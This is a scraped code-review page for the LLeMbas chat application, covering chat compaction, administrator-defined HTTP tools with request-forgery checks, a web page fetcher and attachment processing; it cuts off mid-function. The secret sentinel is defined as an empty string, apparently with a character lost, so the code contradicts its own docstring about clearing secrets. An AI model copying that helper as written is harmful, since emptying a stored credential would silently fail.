"""The message compaction reached, or None if it never has.
There is no foreign key to null this out on an upgraded database, so the
check is load-bearing rather than defensive: an id pointing at a message
that has been deleted means the boundary no longer describes anything, and
the chat has to read as uncompacted.
"""
if not chat.compact_summary or not chat.compacted_through_id:
return None
message = db.get(Message, chat.compacted_through_id)
if message is None or message.chat_id != chat.id:
return None
return message
def reset(chat: Chat) -> None:
"""Forget that this chat was ever compacted."""
chat.compact_summary = ""
chat.compacted_through_id = None
chat.compacted_at = None
def apply(chat: Chat, *, summary: str, upto: Message) -> None:
"""Record a summary and move the boundary. Caller commits."""
chat.compact_summary = summary.strip()
chat.compacted_through_id = upto.id
chat.compacted_at = datetime.now(UTC)
def split(
db: DBSession, chat: Chat, messages: list[Message]
) -> tuple[list[Message], list[Message]]:
"""(summarised, live) -- what is behind the divider, and what is not."""
cutoff = cutoff_message(db, chat)
if cutoff is None:
return [], list(messages)
boundary = moment(cutoff)
return (
# A prompt still waiting to be sent stays on the live side whatever its
# timestamp says. Folding one into the "earlier messages" details would
# hide the only place its Send now and Discard exist, and it has not
# been part of any request to summarise.
[m for m in messages if not m.queued and moment(m) <= boundary],
[m for m in messages if m.queued or moment(m) > boundary],
)
def last_complete(db: DBSession, chat: Chat) -> Message | None:
"""The newest finished assistant turn: where compaction should stop.
Landing on a reply rather than a question means the kept history starts on a
user turn, which is what every chat template expects.
"""
return db.scalar(
select(Message)
.where(
Message.chat_id == chat.id,
Message.role == ROLE_ASSISTANT,
Message.complete.is_(True),
)
.order_by(Message.created_at.desc())
)
def transcript(db: DBSession, chat: Chat, *, upto: Message) -> str:
"""The turns to summarise, oldest first, as plain text.
Only the delta since the last compaction: the previous summary is supplied
separately, and the instruction asks for one record, so each summary
subsumes the one before it. Re-summarising the whole chat every time grows
quadratically and eventually exceeds the very window this protects.
"""
previous = cutoff_message(db, chat)
query = select(Message).where(
Message.chat_id == chat.id,
Message.created_at <= upto.created_at,
Message.error == "",
# Not yet sent to anything. Summarising it would fold words the model
# has never seen into the record, and then deliver them again later.
Message.queued.is_(False),
)
if previous is not None:
query = query.where(Message.created_at > previous.created_at)
lines: list[str] = []
for message in db.scalars(query.order_by(Message.created_at)):
body = message.content.strip()
if not body:
continue
lines.append(f"{message.role}: {body}")
text = "\n\n".join(lines)
if len(text) > MAX_TRANSCRIPT_CHARS:
# Keep the most recent part: the older it is, the more likely the
# previous summary already covers it.
text = "[earlier turns omitted]\n\n" + text[-MAX_TRANSCRIPT_CHARS:]
return text
def previous_summary_block(chat: Chat) -> str:
"""The earlier summary, headed, or "" on a first compaction.
Empty is fine to pass straight through: `prompts.substitute` drops a line
that held a known variable and expanded to nothing, so the prompt does not
end up with a hole where a heading was.
"""
if not chat.compact_summary.strip():
return ""
return "## Summary of even earlier turns\n\n" + chat.compact_summary.strip()
def should_compact(db: DBSession, chat: Chat, *, pending: str = "") -> bool:
"""Whether the next request should be summarised first.
Judged from the last reply's recorded usage plus an estimate of the new
turn. True prompt_tokens are only knowable after a response, so a
retrospective figure is the honest basis -- but on its own it is one turn
stale, and fifty thousand characters pasted into the composer would overflow
a window that measured 90% last time. The estimator covers only that delta.
Never fires when the model's context length is unknown. Acting on a number
nobody supplied is exactly what the 0-means-unknown rule exists to prevent.
"""
limit = threshold(db)
if limit <= 0:
return False
last = last_complete(db, chat)
if last is None:
return False
usage = metrics_service.from_message(last.usage_json)
if usage.context_limit <= 0 or usage.context_tokens <= 0:
return False
projected = usage.context_tokens + tokens.estimate(pending)
return projected >= usage.context_limit * limit / 100
+21
View File
@@ -19,6 +19,13 @@ from lembas.config import settings
log = logging.getLogger(__name__) log = logging.getLogger(__name__)
# Rendered in a form in place of a stored secret. If a submitted value still
# equals this, the field was never touched and the stored secret must be kept --
# otherwise saving a name change would silently wipe the credential beside it.
# Lives here rather than in one admin module because every form that edits a
# secret needs the same dance.
UNCHANGED_SENTINEL = "" * 12
@lru_cache @lru_cache
def _fernet() -> Fernet: def _fernet() -> Fernet:
@@ -56,3 +63,17 @@ def mask(secret: str) -> str:
if len(secret) <= 8: if len(secret) <= 8:
return "*" * len(secret) return "*" * len(secret)
return f"{secret[:3]}{'*' * 8}{secret[-4:]}" return f"{secret[:3]}{'*' * 8}{secret[-4:]}"
def keep_or_replace(submitted: str, stored_ciphertext: str) -> str:
"""Resolve a submitted secret field against what is already stored.
Three cases, and the middle one is the reason this exists: the sentinel
means "the form rendered a mask and nobody typed over it", which is not the
same as an empty field. An explicitly emptied field does mean "this endpoint
needs no key", so it clears the stored value.
"""
submitted = submitted.strip()
if submitted == UNCHANGED_SENTINEL:
return stored_ciphertext
return encrypt(submitted)
+443
View File
@@ -0,0 +1,443 @@
"""Running the HTTP tools an administrator defined.
A row in `custom_tools` becomes a `ToolDef` like any built-in: same schema in
the same array, same `ToolOutcome` back. What is different is that the arguments
come from a model and the destination comes from a template, so two things have
to hold.
**An argument may fill a hole; it may not move the target.** The scheme and host
of the template are literal, checked when the row is saved and again here in
case a row predates the check, and every value is escaped for the position it
lands in -- percent-encoded with nothing safe in a URL, JSON-escaped in a body,
stripped of line breaks in a header. `quote(value, safe="")` is what stops a
value adding a path segment, a query parameter or a fragment; pinning the origin
afterwards is what catches anything that got past it.
**Every hop is checked.** This is the same request-forgery problem
`services/fetch.py` exists to solve, and the same answer: resolve and check the
address, follow redirects by hand, refuse private ranges unless this particular
row was allowed them. `fetch.fetch` itself cannot be reused -- it is GET-only,
has no body, and refuses any content type that is not HTML or text, which is
every JSON API there is -- so its redirect loop is deliberately copied rather
than the module bent into a general HTTP client.
The secret is decrypted into the snapshot and goes nowhere else: not into the
event, not into a log line, and not across a redirect that leaves the origin it
was issued for.
"""
from __future__ import annotations
import json
import logging
from dataclasses import dataclass, field
from typing import Any
from urllib.parse import quote, urlparse
import httpx
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import (
RESPONSE_JSON,
RESPONSE_RAW,
RESPONSE_TEXT,
SECRET_BEARER,
SECRET_HEADER,
SECRET_QUERY,
CustomTool,
User,
)
from lembas.services import fetch as fetch_service
from lembas.services import tool_access
from lembas.services.crypto import decrypt
from lembas.services.prompts import VARIABLE_PATTERN
from lembas.services.tools import RISK_READ, RISK_WRITE, ToolContext, ToolDef, ToolOutcome
log = logging.getLogger(__name__)
# What a response may weigh before it is cut off. Well below the page fetcher's
# ceiling, because this is text that will be sent back to a model rather than
# stored for a person to read.
MAX_RESPONSE_BYTES = 2 * 1024 * 1024
# How much of the response is kept on the message row for the transcript. Capped
# separately from `max_chars`: what the model reads is spent once, what the event
# holds is stored on every message forever.
MAX_EVENT_CHARS = 2000
# How much of the arguments the transcript summarises.
MAX_SUMMARY_CHARS = 200
ALLOWED_METHODS = ("GET", "POST", "PUT", "PATCH", "DELETE")
# Bounds an administrator's number is clamped into. A tool that may return
# 400 000 characters is a tool that can fill the context window in one call.
MIN_CHARS, MAX_CHARS = 200, 40_000
MIN_TIMEOUT, MAX_TIMEOUT = 1, 120
@dataclass(frozen=True)
class HttpSpec:
"""Everything one custom tool needs, read while the session was open.
A frozen snapshot rather than the row, for the reason `Endpoint` is one: a
generation outlives the request that started it, and a detached SQLAlchemy
instance is a trap. The decrypted secret lives here and nowhere else.
"""
slug: str
label: str
method: str
url_template: str
body_template: str = ""
headers: dict[str, str] = field(default_factory=dict)
secret: str = ""
secret_placement: str = SECRET_BEARER
secret_name: str = "Authorization"
response_mode: str = RESPONSE_TEXT
response_path: str = ""
max_chars: int = 8000
timeout: int = 20
allow_private: bool = False
parameters: dict[str, Any] = field(default_factory=dict)
@property
def secret_header(self) -> str:
"""The header the secret rides in, if it rides in one."""
if not self.secret or self.secret_placement not in (SECRET_BEARER, SECRET_HEADER):
return ""
return self.secret_name or "Authorization"
def spec_from(row: CustomTool) -> HttpSpec:
"""Snapshot a row, decrypting its secret. Call this with a session open."""
return HttpSpec(
slug=row.slug,
label=row.name or row.slug,
method=(row.method or "GET").upper(),
url_template=row.url_template or "",
body_template=row.body_template or "",
headers=dict(row.headers_json or {}),
secret=decrypt(row.secret_encrypted),
secret_placement=row.secret_placement,
secret_name=row.secret_name or "Authorization",
response_mode=row.response_mode,
response_path=row.response_path or "",
max_chars=min(max(int(row.max_chars or 0), MIN_CHARS), MAX_CHARS),
timeout=min(max(int(row.timeout or 0), MIN_TIMEOUT), MAX_TIMEOUT),
allow_private=bool(row.allow_private),
parameters=dict(row.parameters_json or {}),
)
def tool_defs(
db: DBSession, user: User | None, *, everything: bool = False
) -> list[ToolDef]:
"""One `ToolDef` per custom tool this user may be offered."""
return [
ToolDef(
name=row.slug,
family=f"custom:{row.slug}",
description=row.description or f"Call the {row.name} tool.",
parameters=_schema_of(row),
run=_runner(spec_from(row)),
risk=_risk_of(row),
)
for row in tool_access.visible_custom_tools(db, user, everything=everything)
]
def _risk_of(row: CustomTool) -> str:
"""What calling this tool does to the world, as far as the method says.
The method is all there is to go on, and it is a reasonable proxy: GET and
HEAD are defined to be safe, and everything else is a request to change
something. Guessing wrong in the cautious direction only means an agent
chat asks about a call it need not have.
"""
return RISK_READ if (row.method or "GET").upper() in ("GET", "HEAD") else RISK_WRITE
def _schema_of(row: CustomTool) -> dict[str, Any]:
schema = dict(row.parameters_json or {})
if schema.get("type") != "object":
# An endpoint expects an object here; anything else it will reject
# outright, which fails the whole request rather than the one tool.
return {"type": "object", "properties": {}}
return schema
def _runner(spec: HttpSpec):
async def run(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
return await call(spec, args)
return run
# --- Filling the template ----------------------------------------------------
def _scalar(value: Any) -> str:
"""One argument as text, before it is escaped for wherever it is going."""
if value is None:
return ""
if isinstance(value, bool):
return "true" if value else "false"
if isinstance(value, str):
return value
if isinstance(value, int | float):
return str(value)
return json.dumps(value, ensure_ascii=False)
def _for_url(value: str) -> str:
# safe="" is the whole point: an argument must not be able to introduce a
# path segment, a query separator or a fragment.
return quote(value, safe="")
def _for_body(value: str) -> str:
# The inside of a JSON string, so a quote or a backslash in an argument
# cannot end it early and add a field of its own.
return json.dumps(value, ensure_ascii=False)[1:-1]
def _for_header(value: str) -> str:
# A newline in a header value is header injection. Other control characters
# go with it; none of them mean anything in a header.
return "".join(character for character in value if character.isprintable())
def _substitute(template: str, spec: HttpSpec, args: dict[str, Any], escape) -> str:
"""Fill `{{name}}` from the call's arguments.
Not `prompts.substitute`, though the grammar is shared. The rules differ,
and the differences are the point: a name the tool does not declare never
substitutes, an unrecognised one becomes nothing rather than passing through
verbatim -- a literal `{{x}}` in a URL is not a feature -- and every value
is escaped for where it lands.
"""
declared = set(spec.parameters.get("properties") or {})
def swap(match) -> str:
name = match.group(1)
if name not in declared:
return ""
return escape(_scalar(args.get(name)))
return VARIABLE_PATTERN.sub(swap, template)
def _origin(url: str) -> tuple[str, str]:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
raise fetch_service.FetchError("A tool's URL must start with http:// or https://")
if not parsed.netloc:
raise fetch_service.FetchError("A tool's URL has no host.")
return parsed.scheme, parsed.netloc
def fill_url(spec: HttpSpec, args: dict[str, Any]) -> str:
"""Fill the URL template, refusing anything that moved the host.
Checked twice over: the template's own scheme and authority must be literal,
and the filled URL must still point at them. The first check is what stops
`https://{{host}}/x` from ever being saved; the second is what catches a row
that predates it, or an escaping mistake.
"""
template = spec.url_template.strip()
scheme, netloc = _origin(template)
if VARIABLE_PATTERN.search(f"{scheme}://{netloc}"):
raise fetch_service.FetchError(
"A tool's scheme and host must be literal, not filled from an argument."
)
filled = _substitute(template, spec, args, _for_url)
if _origin(filled) != (scheme, netloc):
raise fetch_service.FetchError("That call would have pointed somewhere else.")
return filled
def _prepare(spec: HttpSpec, args: dict[str, Any]) -> tuple[str, dict[str, str], bytes | None]:
"""The URL, headers and body for one call, secret included."""
url = fill_url(spec, args)
headers = {
"User-Agent": fetch_service.USER_AGENT,
"Accept": "application/json, text/*;q=0.9, */*;q=0.5",
}
for name, value in spec.headers.items():
clean = _for_header(str(name)).strip()
if clean:
headers[clean] = _substitute(str(value), spec, args, _for_header)
body: bytes | None = None
if spec.body_template.strip() and spec.method != "GET":
body = _substitute(spec.body_template, spec, args, _for_body).encode("utf-8")
headers.setdefault("Content-Type", "application/json")
if spec.secret:
if spec.secret_placement == SECRET_BEARER:
headers[spec.secret_name or "Authorization"] = f"Bearer {spec.secret}"
elif spec.secret_placement == SECRET_HEADER:
headers[spec.secret_name or "Authorization"] = spec.secret
elif spec.secret_placement == SECRET_QUERY:
# Only on the URL this call starts at. A redirect's Location
# replaces the query, so the credential does not travel on by
# itself -- which is the behaviour wanted anyway.
joiner = "&" if urlparse(url).query else "?"
url = f"{url}{joiner}{quote(spec.secret_name)}={quote(spec.secret, safe='')}"
return url, headers, body
# --- Reading the response ----------------------------------------------------
def _narrow(payload: Any, path: str) -> Any:
"""Walk a dotted path into a decoded JSON document.
Integer segments index a list, so "data.0.title" works. A path that does not
lead anywhere yields the whole document rather than nothing: an unhelpful
answer beats a silent empty one when the model has to explain itself.
"""
current = payload
for segment in [part for part in path.split(".") if part]:
if isinstance(current, dict) and segment in current:
current = current[segment]
elif isinstance(current, list) and segment.lstrip("-").isdigit():
try:
current = current[int(segment)]
except IndexError:
return payload
else:
return payload
return current
def _decode(payload: bytes, response: httpx.Response) -> str:
return payload.decode(response.encoding or "utf-8", "replace")
def _as_text(spec: HttpSpec, payload: bytes, response: httpx.Response) -> str:
content_type = response.headers.get("content-type", "")
if spec.response_mode == RESPONSE_JSON:
try:
document = json.loads(_decode(payload, response))
except (json.JSONDecodeError, UnicodeDecodeError):
# Falling back rather than failing: a JSON API answering with an
# HTML error page is a thing the model can report usefully.
return _decode(payload, response)
value = _narrow(document, spec.response_path)
if isinstance(value, str):
return value
return json.dumps(value, indent=2, ensure_ascii=False)
if spec.response_mode == RESPONSE_RAW:
return _decode(payload, response)
text = _decode(payload, response)
if "html" in content_type or text.lstrip()[:1] == "<":
_, text = fetch_service.html_to_text(text)
return text
def _clip(text: str, limit: int) -> str:
if len(text) <= limit:
return text
return text[:limit].rstrip() + "\n… (truncated)"
def _summary(args: dict[str, Any]) -> str:
"""What the transcript shows the tool was asked for."""
parts = [f"{name}={_scalar(value)!r}" for name, value in args.items()]
return _clip(", ".join(parts), MAX_SUMMARY_CHARS)
def _event(spec: HttpSpec, args: dict[str, Any], *, status: str, **extra: Any) -> dict[str, Any]:
return {
"name": spec.slug,
"kind": "custom",
"label": spec.label,
"query": _summary(args),
# The host, never the filled URL: a path or query segment can carry an
# argument, and the event is rendered and stored.
"detail": f"{spec.method} {urlparse(spec.url_template).netloc}",
"status": status,
"results": [],
**extra,
}
# --- Making the call ---------------------------------------------------------
async def call(spec: HttpSpec, args: dict[str, Any]) -> ToolOutcome:
"""Run one custom tool. Reports its own failures rather than raising."""
try:
url, headers, body = _prepare(spec, args)
current = fetch_service.check_url(url, allow_private=spec.allow_private)
origin = _origin(current)
response = await _send(spec, current, headers, body, origin)
except fetch_service.FetchError as exc:
return ToolOutcome(
f"The {spec.label} tool could not be called: {exc.message}",
_event(spec, args, status="error", error=exc.message),
)
except httpx.RequestError as exc:
message = f"Could not reach the {spec.label} tool: {exc}"
return ToolOutcome(message, _event(spec, args, status="error", error=str(exc)[:200]))
payload = response.content[:MAX_RESPONSE_BYTES]
text = _clip(_as_text(spec, payload, response).strip(), spec.max_chars)
if response.status_code >= 400:
note = f"{spec.label} returned HTTP {response.status_code}."
return ToolOutcome(
f"{note}\n\n{text}" if text else note,
_event(
spec,
args,
status="error",
error=f"HTTP {response.status_code}",
text=text[:MAX_EVENT_CHARS],
),
)
if not text:
return ToolOutcome(
f"{spec.label} returned nothing.",
_event(spec, args, status="ok", text=""),
)
return ToolOutcome(text, _event(spec, args, status="ok", text=text[:MAX_EVENT_CHARS]))
async def _send(
spec: HttpSpec,
url: str,
headers: dict[str, str],
body: bytes | None,
origin: tuple[str, str],
) -> httpx.Response:
"""Send the request, following redirects by hand so each hop is checked."""
current = url
async with httpx.AsyncClient(timeout=spec.timeout, follow_redirects=False) as client:
for _ in range(fetch_service.MAX_REDIRECTS + 1):
response = await client.request(
spec.method, current, headers=headers, content=body
)
if not response.is_redirect:
return response
location = response.headers.get("location", "")
if not location:
raise fetch_service.FetchError("That tool redirected to nowhere.")
current = fetch_service.check_url(
str(response.url.join(location)), allow_private=spec.allow_private
)
if _origin(current) != origin:
# A server that can redirect us anywhere must not be able to
# redirect us at somebody else carrying the key.
if spec.secret_header:
headers.pop(spec.secret_header, None)
origin = _origin(current)
raise fetch_service.FetchError("That tool redirected too many times.")
__all__ = ["HttpSpec", "call", "fill_url", "spec_from", "tool_defs"]
+248
View File
@@ -0,0 +1,248 @@
"""Fetching a web page so it can be kept, or read to a model.
Two things this deliberately does not do.
**It does not try to be clever about extraction.** No readability heuristics, no
main-column detection: script and style go, tags are dropped, whitespace is
collapsed. A clever extractor that silently discards the part somebody wanted is
worse than a plain one that keeps everything, and it would be a dependency.
**It does not trust the URL.** This runs on a server that can very likely reach
a router's admin page, a metadata endpoint, and every other service on the same
machine -- LLeMbas itself included. A fetcher that takes a URL from a user, or
worse from a model, is a request-forgery hole unless something stops it, so
addresses are checked after resolution and redirects are followed by hand.
"""
from __future__ import annotations
import ipaddress
import logging
import re
import socket
from dataclasses import dataclass
from urllib.parse import urlparse, urlunparse
import httpx
import nh3
log = logging.getLogger(__name__)
# Pages are kept as text, so the ceiling is about what is worth reading rather
# than what will fit on disk.
MAX_PAGE_BYTES = 5 * 1024 * 1024
MAX_TEXT_CHARS = 120_000
MAX_REDIRECTS = 5
TIMEOUT = 20.0
# Sent because a plain httpx user agent is blocked by a good number of sites,
# and being honest about what this is beats impersonating a browser.
USER_AGENT = "Mozilla/5.0 (compatible; LLeMbas/1.0; +https://github.com/homer/LLeMbas)"
# <head> goes wholesale, which takes script, style and the title with it. The
# title is pulled out of the raw HTML first, so removing it here is what stops
# it appearing again as the opening line of the body.
_DROPPED = re.compile(
r"<(head|script|style|noscript|template|svg)\b[^>]*>.*?</\1>",
re.IGNORECASE | re.DOTALL,
)
_TITLE = re.compile(r"<title[^>]*>(.*?)</title>", re.IGNORECASE | re.DOTALL)
# Content types that are text but are not spelled `text/*`. The sniff below was
# written for "save this page into my library" and refused every one of them,
# which meant every JSON API there is -- wrong for the link-attach path already,
# and unusable once a model can ask for a URL itself. Widened by exactly this
# list plus the `+json` / `+xml` suffixes, and no further: images, PDFs and
# application/octet-stream still raise, because handing a model five megabytes
# of binary is the thing the refusal was for.
_TEXTUAL = frozenset(
{
"application/json",
"application/xml",
"application/xhtml+xml",
"application/javascript",
"application/x-ndjson",
"application/yaml",
"application/x-yaml",
"application/toml",
"application/sql",
}
)
# Tags that end a line of prose. Turning them into newlines before the tags are
# stripped is the difference between readable text and one enormous paragraph.
_BREAKS = re.compile(
r"</(p|div|section|article|li|tr|h[1-6]|blockquote|pre)\s*>|<br\s*/?>",
re.IGNORECASE,
)
class FetchError(Exception):
"""A refused or failed fetch, with a message fit to show a user."""
def __init__(self, message: str) -> None:
super().__init__(message)
self.message = message
@dataclass
class Fetched:
url: str
title: str
text: str
truncated: bool = False
def _is_public(address: str) -> bool:
"""Whether an IP is one this server should be willing to fetch from.
Loopback reaches LLeMbas and every other local service. Private ranges reach
the rest of the network the server sits on. Link-local covers cloud metadata
endpoints, which is where credentials live.
"""
try:
ip = ipaddress.ip_address(address)
except ValueError:
return False
return not (
ip.is_private
or ip.is_loopback
or ip.is_link_local
or ip.is_multicast
or ip.is_reserved
or ip.is_unspecified
)
def check_url(url: str, *, allow_private: bool = False) -> str:
"""Validate a URL and return it normalised. Raises FetchError if refused."""
try:
parsed = urlparse(url.strip())
except ValueError as exc:
raise FetchError("That does not look like a URL.") from exc
if parsed.scheme not in ("http", "https"):
raise FetchError("Only http and https addresses can be fetched.")
if not parsed.hostname:
raise FetchError("That URL has no host.")
if not allow_private:
try:
# Resolved, not parsed: a hostname pointing at 127.0.0.1 is the
# obvious way past a check that only looks at the text of the URL.
resolved = socket.getaddrinfo(parsed.hostname, None)
except socket.gaierror as exc:
raise FetchError(f"Could not resolve {parsed.hostname}.") from exc
addresses = {info[4][0] for info in resolved}
# Every address, not any: a name resolving to one public and one private
# address must not be usable to reach the private one.
if not addresses or not all(_is_public(address) for address in addresses):
raise FetchError(
f"{parsed.hostname} resolves to a private or local address. "
"An administrator can allow this under Admin → Web search if "
"fetching from this network is intended."
)
return urlunparse(parsed)
def html_to_text(html: str) -> tuple[str, str]:
"""Reduce a page to (title, text)."""
title_match = _TITLE.search(html)
title = ""
if title_match:
title = " ".join(nh3.clean(title_match.group(1), tags=set()).split())
body = _DROPPED.sub(" ", html)
body = _BREAKS.sub("\n", body)
# nh3 with no allowed tags leaves the text and escapes nothing structural;
# it is the same sanitiser the rest of the application trusts.
body = nh3.clean(body, tags=set(), attributes={})
import html as html_module
body = html_module.unescape(body)
lines = [" ".join(line.split()) for line in body.splitlines()]
# Collapse runs of blank lines, which a stripped page is mostly made of.
text, blank = [], False
for line in lines:
if line:
text.append(line)
blank = False
elif not blank:
text.append("")
blank = True
return title, "\n".join(text).strip()
async def fetch(url: str, *, allow_private: bool = False) -> Fetched:
"""Retrieve a page and reduce it to text.
Redirects are followed by hand so every hop can be checked. httpx's own
following would validate the first address and then happily land on
localhost.
"""
current = check_url(url, allow_private=allow_private)
try:
async with httpx.AsyncClient(
timeout=TIMEOUT, follow_redirects=False, headers={"User-Agent": USER_AGENT}
) as client:
for _ in range(MAX_REDIRECTS + 1):
response = await client.get(current)
if response.is_redirect:
location = response.headers.get("location", "")
if not location:
raise FetchError("That page redirected to nowhere.")
current = check_url(
str(response.url.join(location)), allow_private=allow_private
)
continue
if response.status_code >= 400:
raise FetchError(
f"{current} returned HTTP {response.status_code}."
)
break
else:
raise FetchError("That page redirected too many times.")
except httpx.RequestError as exc:
raise FetchError(f"Could not reach {current}: {exc}") from exc
payload = response.content[:MAX_PAGE_BYTES]
content_type = response.headers.get("content-type", "")
bare = content_type.split(";")[0].strip().lower()
if "html" in content_type or payload[:512].lstrip()[:1] == b"<":
title, text = html_to_text(payload.decode(response.encoding or "utf-8", "replace"))
elif (
content_type.startswith("text/")
or not content_type
or bare in _TEXTUAL
or bare.endswith(("+json", "+xml"))
):
title, text = "", payload.decode(response.encoding or "utf-8", "replace")
else:
raise FetchError(
f"That address is {content_type or 'not text'}, which cannot be saved "
"as a page. Attach it as a file instead."
)
truncated = len(text) > MAX_TEXT_CHARS
if not text.strip():
raise FetchError(
"Nothing readable was found at that address. It may be a page that "
"builds itself with JavaScript, which this cannot run."
)
return Fetched(
url=current,
title=title or urlparse(current).netloc or current,
text=text[:MAX_TEXT_CHARS],
truncated=truncated,
)
__all__ = ["FetchError", "Fetched", "check_url", "fetch", "html_to_text"]
+551
View File
@@ -0,0 +1,551 @@
"""Storing and reading uploaded attachments.
Three kinds of file, each handled differently on the way to the model:
* **Images** are downscaled and re-encoded, then sent as multimodal content
parts. Downscaling is not cosmetic -- a phone photo is several megabytes of
base64, which is both slow and a large slice of the context window.
* **PDFs** have their text extracted once, at upload. Extraction is slow and a
reply must not silently change because a parser was upgraded later.
* **Plain text** (including source code and CSV) is decoded and stored as-is.
Everything an uploader supplies is treated as hostile: the type is decided by
inspecting the bytes rather than trusting the browser, the name on disk is
random, and both image dimensions and PDF page counts are capped so a small
file cannot expand into an enormous amount of work.
"""
from __future__ import annotations
import io
import logging
import secrets
from dataclasses import dataclass
from datetime import UTC, datetime, timedelta
from pathlib import Path
from PIL import Image, UnidentifiedImageError
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.config import settings
from lembas.db.models import KIND_DOCUMENT, KIND_IMAGE, KIND_TEXT, Attachment
log = logging.getLogger(__name__)
# --- Limits ------------------------------------------------------------------
MAX_UPLOAD_BYTES = 20 * 1024 * 1024
# Longest edge after downscaling. Large enough for a model to read a screenshot
# or a page of text, small enough that the base64 stays reasonable.
MAX_IMAGE_EDGE = 1400
JPEG_QUALITY = 85
# Pillow's own guard against decompression bombs: a 60,000x60,000 PNG is a few
# KB on disk and hundreds of GB decoded.
Image.MAX_IMAGE_PIXELS = 64_000_000
MAX_PDF_PAGES = 300
# Characters of extracted text kept per document. Roughly 30k tokens, which is
# already a large slice of most context windows; more is rarely useful and
# frequently breaks the request outright.
MAX_EXTRACTED_CHARS = 120_000
# Orphans are files uploaded into a composer that was never sent.
ORPHAN_AGE = timedelta(hours=24)
IMAGE_TYPES: dict[bytes, tuple[str, str]] = {
b"\x89PNG\r\n\x1a\n": ("image/png", ".png"),
b"\xff\xd8\xff": ("image/jpeg", ".jpg"),
b"GIF87a": ("image/gif", ".gif"),
b"GIF89a": ("image/gif", ".gif"),
}
# Extensions treated as text when the bytes decode cleanly as UTF-8. The list
# exists only to pick a sensible media type; decodability is what actually
# decides, so an unlisted extension still works.
TEXT_EXTENSIONS = {
".txt": "text/plain", ".md": "text/markdown", ".markdown": "text/markdown",
".csv": "text/csv", ".tsv": "text/tab-separated-values",
".json": "application/json", ".yaml": "text/yaml", ".yml": "text/yaml",
".toml": "text/toml", ".ini": "text/plain", ".cfg": "text/plain",
".xml": "text/xml", ".html": "text/plain", ".css": "text/plain",
".py": "text/x-python", ".js": "text/javascript", ".ts": "text/typescript",
".rs": "text/x-rust", ".go": "text/x-go", ".c": "text/x-c", ".h": "text/x-c",
".cpp": "text/x-c++", ".java": "text/x-java", ".rb": "text/x-ruby",
".sh": "text/x-shellscript", ".sql": "text/x-sql", ".log": "text/plain",
}
class FileError(Exception):
"""A rejected upload, with a message fit to show the user."""
@dataclass
class Prepared:
"""The result of inspecting and processing an upload, before it is stored."""
payload: bytes
kind: str
media_type: str
extension: str
width: int = 0
height: int = 0
extracted_text: str = ""
pages: int = 0
truncated: bool = False
extraction_error: str = ""
# --- Storage -----------------------------------------------------------------
def attachments_dir() -> Path:
path = settings.uploads_dir / "attachments"
path.mkdir(parents=True, exist_ok=True)
return path
def stored_path(stored_name: str) -> Path | None:
"""Resolve a stored name to a path, refusing anything outside the directory."""
if not stored_name or "/" in stored_name or "\\" in stored_name or stored_name.startswith("."):
return None
base = attachments_dir().resolve()
path = (base / stored_name).resolve()
try:
path.relative_to(base)
except ValueError:
return None
return path if path.is_file() else None
# --- Type detection ----------------------------------------------------------
def _detect_image(payload: bytes) -> tuple[str, str] | None:
for signature, (media_type, extension) in IMAGE_TYPES.items():
if payload.startswith(signature):
return media_type, extension
if payload[:4] == b"RIFF" and payload[8:12] == b"WEBP":
return "image/webp", ".webp"
return None
def _looks_like_pdf(payload: bytes) -> bool:
# The header is allowed a little leading junk by the spec, and real files
# in the wild use it.
return b"%PDF-" in payload[:1024]
# --- Processing --------------------------------------------------------------
def _process_image(payload: bytes) -> Prepared:
try:
with Image.open(io.BytesIO(payload)) as image:
image.load()
has_alpha = image.mode in ("RGBA", "LA", "P") and "transparency" in image.info
# Animation is lost on re-encode; keeping only the first frame is
# honest and is what a model would see anyway.
frame = image.convert("RGBA" if has_alpha else "RGB")
width, height = frame.size
longest = max(width, height)
if longest > MAX_IMAGE_EDGE:
scale = MAX_IMAGE_EDGE / longest
frame = frame.resize(
(max(1, int(width * scale)), max(1, int(height * scale))),
Image.LANCZOS,
)
buffer = io.BytesIO()
if has_alpha:
frame.save(buffer, format="PNG", optimize=True)
media_type, extension = "image/png", ".png"
else:
frame.save(buffer, format="JPEG", quality=JPEG_QUALITY, optimize=True)
media_type, extension = "image/jpeg", ".jpg"
return Prepared(
payload=buffer.getvalue(),
kind=KIND_IMAGE,
media_type=media_type,
extension=extension,
width=frame.width,
height=frame.height,
)
except Image.DecompressionBombError as exc:
raise FileError("That image's dimensions are implausibly large.") from exc
except (UnidentifiedImageError, OSError, ValueError) as exc:
raise FileError("That image could not be read. Is it corrupt?") from exc
def _process_pdf(payload: bytes) -> Prepared:
from pypdf import PdfReader
from pypdf.errors import PdfReadError
prepared = Prepared(
payload=payload, kind=KIND_DOCUMENT, media_type="application/pdf", extension=".pdf"
)
try:
reader = PdfReader(io.BytesIO(payload))
if reader.is_encrypted:
# An empty password unlocks a surprising number of "encrypted" PDFs.
try:
reader.decrypt("")
except Exception: # noqa: BLE001 - any failure means the same thing
prepared.extraction_error = (
"This PDF is password-protected, so its text could not be read."
)
return prepared
prepared.pages = len(reader.pages)
chunks: list[str] = []
total = 0
for index, page in enumerate(reader.pages[:MAX_PDF_PAGES]):
try:
text = page.extract_text() or ""
except Exception as exc: # noqa: BLE001 - one bad page is not fatal
log.debug("page %d of a PDF failed to extract: %s", index, exc)
continue
if not text.strip():
continue
chunks.append(f"[page {index + 1}]\n{text.strip()}")
total += len(text)
if total >= MAX_EXTRACTED_CHARS:
prepared.truncated = True
break
if prepared.pages > MAX_PDF_PAGES:
prepared.truncated = True
prepared.extracted_text = "\n\n".join(chunks)[:MAX_EXTRACTED_CHARS]
if not prepared.extracted_text.strip():
# Almost always a scan. Saying so beats the model silently ignoring
# a document the user believes it can read.
prepared.extraction_error = (
"No text could be extracted. This looks like a scanned PDF; "
"LLeMbas does not do OCR yet."
)
except PdfReadError as exc:
prepared.extraction_error = "This file is not a readable PDF."
log.info("unreadable PDF: %s", exc)
except Exception as exc: # noqa: BLE001 - never let a bad file 500 the upload
prepared.extraction_error = "This PDF could not be read."
log.warning("unexpected PDF failure: %s", exc)
return prepared
def _process_text(payload: bytes, filename: str) -> Prepared:
for encoding in ("utf-8", "utf-16", "latin-1"):
try:
text = payload.decode(encoding)
break
except (UnicodeDecodeError, LookupError):
continue
else:
raise FileError("That file is not text, and is not a format LLeMbas can read.")
# Null bytes mean this decoded by luck (latin-1 decodes any byte) and is
# really a binary file.
if "\x00" in text[:4096]:
